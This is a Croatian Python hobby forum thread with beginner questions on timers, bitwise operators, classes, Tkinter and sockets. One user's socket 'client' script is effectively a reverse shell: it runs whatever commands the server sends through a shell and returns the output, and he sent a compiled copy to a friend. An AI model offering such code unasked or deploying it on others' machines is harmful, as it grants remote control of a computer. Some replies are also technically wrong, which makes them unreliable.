
Python programiranje kao hobi


Pozdrav ekipo, da li bi mi netko mogao pomoci? Imam zadatak izmjeniti kod i dodati sljedece :
Max vrijeme 5min i
gumb za reset.
Ovo je link za .py file.
https://www.dropbox.com/s/2v7szcybe9b47j7/Slagalica2.py?dl=0
Unaprijed hvala ako netko zna!

Pozdrav ekipo, da li bi mi netko mogao pomoci? Imam zadatak izmjeniti kod i dodati sljedece :
Max vrijeme 5min i
gumb za reset.
Ovo je link za .py file.
https://www.dropbox.com/s/2v7szcybe9b47j7/Slagalica2.py?dl=0
Unaprijed hvala ako netko zna!
Timer mozes ovako napraviti
from time import sleep
def Timer(s):
while s:
m,s_p = s//60, s%60
print('{:02d}:{:02d}'.format(m,s_p))
s-=1
sleep(1)
Sam reset programa mozes ovako napraviti
import os
import sys
os.execl(sys.executable, sys.executable,*sys.argv)

Modul turtle ima funkciju ontimer kojom možeš instalirati funkciju koja okida nakon isteka zadanog vremena. Najjednostavnije rješenje za tvoj prvi zahtjev je isključiti očitavanje click eventa u timeru koji istekne nakon 5 minuta:
def vrijeme_isteklo():
onscreenclick(None) # isključi klikanje
goto(-100, 100)
write('Vrijeme je isteklo', False, "left", ("Consolas", 30, "normal"))
def main():
onscreenclick(getPos)
ontimer(vrijeme_isteklo, t=5 * 60 * 1000)
mainloop()
Za reset je treba ponoviti inicijalizaciju liste S. U donjem rješenju slagalica se resetira kad se klikne izvan nekog od 9 polja:
def getPos(x, y):
...
if b != ' ' and i in Q[q] : S[q] = b; S[i] = ' '; q = i; Slagalica()
if b == ' ':
S = sample(C, 8) +[' ']
q = S.index(' ')
Slagalica()

imam problem s shvacanjem operatora &. Gledao sam po netu,nailazio sam na svakave odgovore i primjere.Primjer di se operator & koristio sa set(). Uglavnom ne razumijem zasto
a=60&13
ispada a=12

imam problem s shvacanjem operatora &. Gledao sam po netu,nailazio sam na svakave odgovore i primjere.Primjer di se operator & koristio sa set(). Uglavnom ne razumijem zasto
a=60&13
ispada a=12
60 i 13 nisu set() tipovi podataka. Operator & vraca novi set sa zajednickim elementima od 2 seta, npr.
>>> a = {1, 3, 5, 9, 4}
>>> b = {5, 8, 7, 4}
>>> a&b
{4, 5}

imam problem s shvacanjem operatora &. Gledao sam po netu,nailazio sam na svakave odgovore i primjere.Primjer di se operator & koristio sa set(). Uglavnom ne razumijem zasto
a=60&13
ispada a=12
& je bitwise operator AND. To znaci da on radi s bitovima:
60: 0011 1100
13: 0000 1101
12: 0000 1100
Na svaki bit se primjeni operacija logicki AND, kao sto vidis oni samo na 2 i 3 bitu imaju oboje 1
EDIT: NVM ocito sam skroz falia pitanje xD

ovo sa set sam naletio na stackoverflow ali zadatak koji radim se odnosi na a=60&13 i onda dobijem rezultat 12.
Ako sam dobro razumio npr ovako bi islo
neki broj koji ima kombinaciju: 0101 1100
drugi neki broj koji ima komb: 0001 0100
ono sto bih kao rezultat dobio:00010100

Problem: Napravio sam klasu i u nju sam stavio __add__ i __sub__.
class test(object):
def __sub__(self,other):
return self.x-other.x
def __add__(self,other):
return self.x+other.x
Stavio sam:
a=test
b=test
a.x,b.x=2,3
c=a+b---poslje ovoga mi se javi error: TypeError: unsupported operand type(s) for +: 'type' and 'type'

Problem: Napravio sam klasu i u nju sam stavio __add__ i __sub__.
class test(object):
def __sub__(self,other):
return self.x-other.x
def __add__(self,other):
return self.x+other.x
Stavio sam:
a=test
b=test
a.x,b.x=2,3
c=a+b---poslje ovoga mi se javi error: TypeError: unsupported operand type(s) for +: 'type' and 'type'
Prvo, klase se pisu velikim pocetnim slovom (takva je konvencija), dakle class Test(object).
Drugo, kad stvaras objekte, stvaras ih ovako:
a = Test() # primjeti zagrade
b = Test()
a ne:
a = Test
b = Test

aa,sorry,mislio sam da radim neku katastrofalnu gresku i na to sam se fokusirao da nisam vidio "glupost".

EDIT:Uspio sam srediti.
Vjezbam malo s GUI i naisao sam na problem. Ukratko pokusavam na main window u pozadini ubaciti neki sliku.Funkcija setting_background mi jednostavno ne radi,kad je pozivam ovako iz klase.No dok recimo isti kod,al se ne nalazi u klasi potpuno radi.
class Gui(Wow_Program):
def __init__(self):
self.master=Tk()
self.setting_background()
self.drop_down_menus()
self.Turn_on=Wow_Program()
def setting_background(self):-ZA OVU FUNKCIJU TREBAM POMOC-------Sredio sam tako sto sam dodao self.label=Label(self.master,image=image2)
current_os_path=os.getcwd()
current_os_path+="\\\dark_portal.gif"
print(current_os_path)
image1=Image.open(current_os_path)
image1_width=image1.width
image1_height=image1.height
self.master.geometry("%dx%d+0+0"%(image1_width,image1_height))
image2=ImageTk.PhotoImage(image1)
label=Label(self.master,image=image2)
label.pack()
def searching_function_realmlist(self):
self.master_searching_realmlist=Tk()
self.master_searching_realmlist.configure(background="dark gray")
self.master_searching_realmlist.geometry("400x300")
self.photo_google=PhotoImage(file="google.gif")
self.label_google_search=Label(self.master_searching_realmlist,image=self.photo_google)
self.label_google_search.grid(row=0,column=0,)
self.entry=Entry(self.master_searching_realmlist)
self.entry.grid(row=0,column=1)
def drop_down_menus(self):
self.menu=Menu(self.master)
self.master.config(menu=self.menu)
self.submenu=Menu(self.menu)
self.menu.add_cascade(label="Functions",menu=self.submenu)
self.submenu.add_command(label="Searching realmlist",command=self.searching_function_realmlist)
Na ovakav nacin kod radi,odnosno slika se pokazuje na pozadini
root=Tk()
image=Image.open("C:\Programi\Python 3.4.1\Test\\dark_portal.gif")
image_w=image.width
image_h=image.height
root.geometry("%dx%d+0+0"%(image_w,image_h))
image2=ImageTk.PhotoImage(image)
l=Label(root,image=image2)
l.grid()
root.mainloop()

Manja primjedba: putanja slike ti ima backslash viška. Na trenutni direktorij ne dodaješ string \dark_portal.gif nego \\dark_portal.gif . Niz '\d' nije postojeća escape sekvenca pa backslash ostaje u rezultatu. Ovo nema utjecaja na rad programa jer Windowsi ignoriraju uzastopne backslasheve, ali je za izgradnju putanje od komponenti dobro koristiti funkciju os.path.join:
import os
image_path = os.path.join(os.getcwd(), 'dark_portal.gif')
Samm problem sa slikom je možda do garbage collectora, ovo je moguće rješenje:
image1 = Image.open(image_path)
image2 = ImageTk.PhotoImage(image1)
label = Label(root, image=image2)
label.image = image2 # keep a reference!
label.pack()

Pitanje u vezi Tkintera.
Zanima me da li je moguce napraviti da kada mišem dodem do nekog Buttona da se iznad njega pojavi kao neki oblacic,note u koji onda nesto upisem.Trenutak kada pomaknem mis izvan okvira Buttona,da se taj note/oblacic makne. Nesto tipa u pythonu kada upisemo odredenu funkciju i otvorimo zagrade,pojavi se onaj note koji objasnjava funkciju.
EDIT:Posluzio sam se preko image-a,da li se moze kako jednostavnije.
class Test(object):
def __init__(self):
self.master=Tk()
self.Button=Button(self.master,text="aaaa")
self.Button.place(x=40,y=40)
self.Button.bind("<Enter>",self.label)
self.Button.bind("<Leave>",self.destroy)
self.image=Image.open("C:\Programi\Python 3.4.1\Test\Testpic.png")
self.image1=ImageTk.PhotoImage(image=self.image)
def label(self,event):
self.label=Label(self.master,text="king",image=self.image1)
self.label.place(x=60,y=41)
def destroy(self,event):
self.label.destroy()
d=Test()
d.master.mainloop()

Koristi bind eventove i lambde. Jako mocne stvari, ovo ti je samo proof of concept, nisam ti bas htio sve napravit
from tkinter import *
class MyApp(Frame):
def __init__(self, root=Tk()):
Frame.__init__(self)
self.root=root
self.make_gui()
def make_gui(self):
self.grid()
#dio koji treba kolegi
self.button = Button(self, text="hower over")
self.button.grid(row=1, column=1)
action_in = lambda x: self.over()
action_out = lambda x: self.out()
self.button.bind("<Enter>", action_in)
self.button.bind("<Leave>", action_out)
def over(self):
self.button["text"] = "now u see me"
def out(self):
self.button["text"] = "..now u don't"
app = MyApp()
app.mainloop()

Ovako prosao sam sada dosta,mogu reci da sam savladao python.Napravio sam program,u kojem sam pokusavao obuhvatiti dosta modula(BeautifulSoup,tkinter,itd) ,cisto da se s praksam.I jednu manju igricu pomocu Pygame modula.Tako da u principu sada samo proucavam druge module.Pa me zanima da li da nastavim s vjezbanjem u pythonu ili da rade pocnem s C++,uzeo bih si knjigu demistificirani C++.

Jedna od tipičnih primjena Pythona je izrada Web aplikacija pa ti preporučam da uzmeš Django i napraviš par programa tog tipa.
Ako te Web ne zanima onda C++ nije loš izbor - izrada desktop aplikacija nije Pythonova jača strana.

Kupio sam Nodemcu Esp8266 i na njega instalirao najnoviji micropython i oduševio se! :)
Za 5$ sam dobio mrvicu koja u par linija koda čita senzore i dalje podatke, pokreće neopixel led i sl., plus - ne moram se zajebavati sa učenjem C. :)
Nevjerovatno je koliko su komponente postale jeftine i dostupne. Na esp8266 nedostaje dokumentacija, ali se može po forumima izvući po nesto.
Naručio sam i WiPy.

Malo sam htio ojacati svoje znanje u pythonu pa sam krenuo proucavati modul socket.Uglavnom zapeo sam.Prvo jos uvijek mi neki pojmovi nisu jasni,kao tipa port( koliko sam skuzio on odreduje kakve ce se vrsta podataka razmjenjivati),no ono sto me najvise zanima kako da povezem dva racunala koja se nalaze na razlicitim mrezama?

Ako uzmemo analogiju s telefonom: IP adresa računala je "glavni broj", a broj porta je "lokal". Mrežni servisi (HTTP, FTP, DNS itd.) koji se vrte na istom računalu imaju različite portove (lokale) pa klijenti preko broja porta biraju na koji se servis žele spojiti. Isti servisi se vrte na istim portovima (npr. HTTP server je na portu 80) pa stoji da port određuje kakva se vrsta podataka razmjenjuje.
Za povezivanje dva računala (1 servera i 1 klijenta) preko Interneta postoje dva osnovna načina:
1. Router preko kojeg je server spojen na Internet forwarda dolazni promet na server.
2. Oba računala su povezana nekog preko VPN-a i vide jedno drugog kao da su na lokalnoj mreži.

Kako bi trebala izgledati skripta,ovo je nesto sto sam ja napravio.
Server skripta
import socket
import sys
def create_socket():
try:
global host
global port
global s
host=OVDJE SAM STAVIO IPv4 adresu od racunala koje bi se trebalo ponasat kao server
port=1117
s=socket.socket()
except socket.error as msg:
print(str(msg))
def bind_socket():
try:
global host
global port
global s
print("Binding socket to port: ",str(port))
s.bind((host,port))
s.listen(5)
except socket.error as msg:
print("socket binding error",msg)
bind_socket()
def socket_accept():
conn,address=s.accept()
print("conn ",conn)
print("Connection has been established ",address)
send_commands(conn)
conn.close()
Client skripta
import os
import socket
import subprocess
s=socket.socket()
host=OVDJE SAM STAVIO EXTERNAL ADRESU,koju sam dobio kad sam upisao na internetu Ports check
port=1117
s.connect((host,port))
while True:
data=s.recv(1024)
if data[:2].decode("utf-8")=="cd":
os.chdir(data[3:].decode())
if len(data.decode())>0:
cmd=subprocess.Popen(data.decode(),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
byt=cmd.stdout.read()+cmd.stderr.read()
string=str(byt)
s.send(str.encode(string+str(os.getcwd)))
print(string)
s.close()
Ovo sam prvo pisao za povezivanje racunala na istoj mrezi, da li je ovako dobro napisan kod za povezivanje dva racunala na razlicitim mrezama?

Hah, pa je, ali ti tu IP adresu trebas pokupit, ne rucno upisat.
socket.gethostbyname(socket.gethostname())
To ti treba ili googleaj druge metode, ali na Linuxima moras obrisat 127.0.0.1 iz etc hosts filea....nece se nista strasno desit.
Krivo sam procitao. Uglavnom da, dobro je. Ja obicno socket radim kao OOP (klasa Server i klasa Klijent) jer mi trebaju dretve (tipa oces chat - moras stalno listenat), pa razmisli o tome.
Sto se tice formatiranja, mislim da si mogao skratit server kod malo (create i bind obicno radim skupa)

Aha,izvukao sam je iz cmd-a. No uglavnom meni ta skripta nije radila.Prvo sam mislio da je do portova,da nisu otvoreni,pa sam zvao Amis,tamo kazu da je sve u redu,Firewall sam bio takoder iskljucio kad sam testirao,ali nista.

Aha,izvukao sam je iz cmd-a. No uglavnom meni ta skripta nije radila.Prvo sam mislio da je do portova,da nisu otvoreni,pa sam zvao Amis,tamo kazu da je sve u redu,Firewall sam bio takoder iskljucio kad sam testirao,ali nista.
Ma dobro je, imat ces static ip tako i tako kad ces imat server. procitaj edit samo

probaj s pojednostavljenim primjerom kojeg sam ukrao s Neta:
server.py
import socket
def run_server(host='', port=1117):
mySocket = socket.socket()
mySocket.bind((host, port))
mySocket.listen(5)
conn, addr = mySocket.accept()
print('Connection from: ' + str(addr))
while True:
data = conn.recv(1024).decode()
if not data:
break
print('From connected user: ' + data)
new_data = data.upper()
print ('Sending: ' + new_data)
conn.send(new_data.encode())
conn.close()
if __name__ == '__main__':
run_server()
client.py
import socket
def run_client(host, port):
mySocket = socket.socket()
mySocket.connect((host, port))
message = input(' -> ')
while message != 'q':
mySocket.send(message.encode())
data = mySocket.recv(1024).decode()
print ('Received from server: ' + data)
message = input(' -> ')
mySocket.close()
if __name__ == '__main__':
run_client('127.0.0.1', 1117)
Server je bind-an je na prazno ime hosta pa će se javljati na zadani port (1117) bez obzira otkud mu klijent pristupa. Prvo isprobaj da li ti radi na istom računalu - iz jednog terminala pokreni server.py, a nakon toga iz drugog terminala pokreni client.py.
Ako radi, probaj da li radi s različitih računala unutar iste mreže - server.py je isti, ali u client.py stavi IP adresu računala na kojem se vrti server.
Ako i ovo radi, probaj da li radi preko Interneta.
1) Pokreni server, zakači se na router i forwardaj dolazni promet porta 1117 na taj server. Ovdje možeš provjeriti da li si dobro forwardao port, ali ćeš nakon provjere morati ponovo pokrenuti server jer se server zaustavlja nakon što se klijent disconnecta.
2) Pokreni klijent na drugoj mreži (prvo u client.py upiši IP adresu serverovog routera) i provjeri da li radi.

Da, if __name__ == '__main__' je jako bitan dio koda kod dretvi (while True) tako da se prvo on izvede prije definiranja funkcije, odnosno popune parametri.
Ovo bi trebalo bez problema radit na wanu

Sada mi je uspjelo,spojio sam laptop na mobitel a racunalo na ruter i radilo je.Samo me zanima da li to znaci da ce svi koji se zele spojit na moj server morati osloboditi taj port kod sebe na ruteru?

Ne - port forwarding treba postaviti samo na serverovom routeru.

zao mi je kaj moram ovako tlaciti,al ove opet je port iz nekog razloga zatvoren.Znaci prije 5 min je bio otvoren i sad je zatvoren.Ono sto sam napravio je:
1.Poevezao sam laptop s racunalom,a a da su oboje bili na razlicitim mrezama
2.Poslao sam client.exe file prijatelju da testiramo i nije uspjelo
3.Htio sam ponovo povezat laptop i sada nije uspjelo
4.Testirao sam port i sada pise da je zatvoren a nisam nista prckao
EDIT:Sve opet radi normalno.

Imam jedan problem s dbm bazom.
Ovo je dio koda kod kojeg nastaje problem:
self.Entry_account_name_to_play.bind("<Return>",lambda event:self.Account_name_to_play(event))
def Account_name_to_play(self,event):
names=self.Entry_account_name_to_play.get()
os.chdir(self.realmlist_path+"\WTF")
config_file = open("Config.wtf", "r+")
lines=config_file.readlines()
string=self.Account_name_to_play_changing_config(lines,names)
newfile=open("Config.wtf","w")
newfile.write(string)
newfile.close()
os.chdir(self.wowchanger_path)
self.Turn_on.base["TBC-Account"]=names------Objekt names je u ovom dijelu koda potpun,npr.ako uzmem ime "test",names je "test",ne fali ni jedan dio stringa.No onda kada naknadno zelim izvaditi iz base onda mi zna faliti dio stringa.Kao da je ogranicen na odreden broj znakova,jer ovo je moj konkretan primjer bio. Uzeo sam prvo "cale456" i onda je vratio sve,ali kad sam stavio "cale4567",zadnji char se ne spremi,vrati mi "cale456".
Rangoju je očito imalo smisla kad je to naveo u svom postu. Želio sam ilustrirati kako nije uvijek lako definirati hijerarhiju klasa, kao npr. u circle-ellipse problemu. Čini se logično klasu Krug izvesti iz klase Elipsa (ili npr. Kvadrat iz Pravokutnika), ali u nekim slučajevima to nije dobro rješenje.
Rangoj je naveo primjer iz glave, cisto dva povezana pojma, rangoj nije naveo primjer stvarnih klasa :) -> isto naravno vazi i za keramicke posude - podrazumjeva se :)
Cale: zasto mi se cini da si poceo sa nekom knjigom koja klase obradjuje na neobican nacin?! :)
Video primjeri koji na jednostavan nacin obradjuju klase: (vjerujem da postoje i bolji primjeri, ja sam pronasao ove).
https://youtu.be/AaIdperUu-A
https://youtu.be/ePNLHIcX3V0
https://youtu.be/x5EdOI0-0EQ
https://www.youtube.com/watch?v=POQIIKb1BZA
Meni se klase cine nepotrebne u 99% malih skripti i mislim da je tesko traziti razlog za njihovo postojanje u skripti koja cita npr. cita xml neke banke i nudi opecije konverzije valuta i ima 40 linija koda ili slicno.
Negdje na netu sam procitao da ti upotreba klasa postane prirodna kada ti zatreba organizacija koda jer si presao nekoliko stotina linija i sve izgleda u haosu, pa klase dodju odlicne kao sredstvo za organizaciju...
P.S. Cak i google definija rijeci class mnogo govori:
"a set or category of things having some property or attribute in common and differentiated from others by kind, type, or quality"